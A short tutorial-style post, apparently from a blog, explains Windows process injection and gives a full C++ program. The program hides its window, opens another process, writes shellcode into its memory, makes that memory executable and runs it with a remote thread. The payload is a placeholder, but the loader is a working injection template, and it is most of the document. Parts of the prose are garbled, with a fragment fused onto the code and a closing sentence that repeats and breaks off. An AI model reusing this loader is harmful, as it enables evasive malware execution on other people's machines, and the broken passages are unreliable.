One way to run malicious code is within the memory space of another process. This technique is often used for evasion and privilege escalation. Even though it is 2026 and these methods are now heavily flagged or blocked by default, they remain essential for learning.
I have created simple C++ pseudocode to demonstrate the logic.
VirtualAllocEx to reserve space.#include <windows.h>
#include <iostream>
int main(int argc, char* argv[]) {
// 0. Hide the application window
FreeConsole();
// 1. Setup: Define your payload and the target process
unsigned char shellcode[] = { 0x13, 0x37 };
DWORD pid = 1234;
SIZE_T shellcodeSize = sizeof(shellcode);
// 2. Access: Open the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) return -1;
// 3. Allocate:
LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// 4. Write: Copy the payload into the RW memory
WriteProcessMemory(
hProcess,
remoteBuffer,
shellcode,
shellcodeSize,
NULL
);
// 5. Flip: Change permissions from READ/WRITE to EXECUTE/READ
DWORD oldProtect;
VirtualProtectEx(
hProcess,
remoteBuffer,
shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
);
// 6. Execute: Trigger the payload now that it's executable
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL,
0,
NULL
);
// 7. Cleanup: Wait for completion and release handles
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
CloseHandle(hProcess);
return 0;
}
This can be caught as This is due to how modern security tools can spot it using
OpenProcess API and then VirtualAllocEx on a different application. 